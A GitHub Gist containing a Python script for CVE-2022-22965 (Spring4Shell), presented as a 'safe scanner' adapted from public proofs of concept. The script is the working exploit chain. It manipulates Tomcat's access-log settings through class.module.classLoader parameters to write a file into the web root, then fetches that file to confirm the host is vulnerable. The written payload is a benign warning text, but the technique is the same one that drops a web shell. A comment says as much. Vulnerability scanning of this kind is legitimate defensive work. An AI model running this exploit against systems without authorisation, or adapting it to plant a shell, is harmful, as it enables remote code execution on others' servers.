Created
May 15, 2023 16:44
-
-
Save Will-Beninger/504803a1621cf96e9c7acdceaf9b8aea to your computer and use it in GitHub Desktop.
CVE-2022-22965_SpringShell Safe scanner for SpringShell adapted from the https://github.com/lunasec-io/Spring4Shell-POC exploit as well as work from https://github.com/colincowie/Safer_PoC_CVE-2022-22965/blob/main/Safer_PoC_CVE-2022-22965.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Author: Will-Beninger | |
# Very minor changes to the script from lunasec to make a safe/reliable scanner | |
# Original Python Code from here: https://github.com/lunasec-io/Spring4Shell-POC | |
# Based off the work of @Rezn0k | |
# Based off the work of p1n93r | |
# Based off the work of colincowie | |
# https://github.com/colincowie/Safer_PoC_CVE-2022-22965 | |
import requests | |
import argparse | |
import logging | |
from urllib.parse import urlparse | |
import time | |
# Set to bypass errors if the target site has SSL issues | |
requests.packages.urllib3.disable_warnings() | |
post_headers = { | |
"Content-Type": "application/x-www-form-urlencoded" | |
} | |
get_headers = { | |
"prefix": "<%", | |
"suffix": "%>//", | |
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern | |
"c": "Runtime", | |
} | |
def run_exploit(url, directory): | |
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=Warning," \ | |
f"%20CVE_2022_22965%20was%20sucessfully%20exploited%20on%20this%20device.%20reference:" \ | |
f"%20https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement" | |
#Appears as: | |
#Warning, CVE_2022_22965 was sucessfully exploited on this device. reference: https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement | |
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt" | |
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}" | |
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix=CVE_2022_22965_exploited" | |
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=" | |
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format]) | |
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times | |
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp | |
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_" | |
print("[*] Resetting Log Variables.") | |
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False, timeout=(5,10)) | |
if ret.status_code==200: | |
print("[+] Response code: %d" % ret.status_code) | |
else: | |
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code) | |
exit() | |
# Change the tomcat log location variables | |
print("[*] Modifying Log Configurations") | |
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False, timeout=(5,10)) | |
if ret.status_code==200: | |
print("[+] Response code: %d" % ret.status_code) | |
else: | |
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code) | |
exit() | |
# Changes take some time to populate on tomcat | |
time.sleep(3) | |
# Send the packet that writes the web shell | |
ret = requests.get(url, headers=get_headers, verify=False, timeout=(5,10)) | |
if ret.status_code==200: | |
print("[+] Response code: %d" % ret.status_code) | |
else: | |
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code) | |
exit() | |
time.sleep(1) | |
# Reset the pattern to prevent future writes into the file | |
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=" | |
print("[*] Resetting Log Variables.") | |
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False, timeout=(5,10)) | |
if ret.status_code==200: | |
print("[+] Response code: %d" % ret.status_code) | |
else: | |
print("[X] Response Code: %d - Exploit Unsuccessful" % ret.status_code) | |
exit() | |
def main(): | |
parser = argparse.ArgumentParser(description='Spring Core Test Script') | |
parser.add_argument('--url', help='target url', required=True,dest="url_arg") | |
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app', required=False, default="webapps/ROOT",dest="dir_arg") | |
#parser.add_argument('-d', '--debug',help="Print lots of debugging statements",action="store_const", dest="loglevel", const=logging.DEBUG,default=logging.WARNING) | |
#parser.add_argument('-v', '--verbose',help="Be verbose", action="store_const", dest="loglevel", const=logging.INFO) | |
args = parser.parse_args() | |
#logging.basicConfig(level=args.loglevel) | |
if args.url_arg is None: | |
print("Must pass an option for --url") | |
return | |
try: | |
run_exploit(args.url_arg, args.dir_arg) | |
print("[+] Exploit completed") | |
location = urlparse(args.url_arg).scheme + "://" + urlparse(args.url_arg).netloc + "/CVE_2022_22965_exploited.txt" | |
print("[+] Waiting 10s for Tomcat to move the file into the directory....") | |
time.sleep(10) #Seems to take a few seconds to move the file to the dir/become available. From my testing up to 10 seconds | |
ret = requests.get(location, verify=False, timeout=(5,10)) | |
if ret.status_code == 200 and "CVE_2022_22965 was sucessfully exploited" in str(ret.content): | |
print(f"[+] VULN: File retrieved successfully and {args.url_arg} confirmed vulnerable!") | |
else: | |
print("[X] Unable to automatically pull file. Manually verify") | |
print(f"[X] File should be at: {location}") | |
except Exception as e: | |
print("[X] Exception Hit, Script Terminated") | |
print(e) | |
if __name__ == '__main__': | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment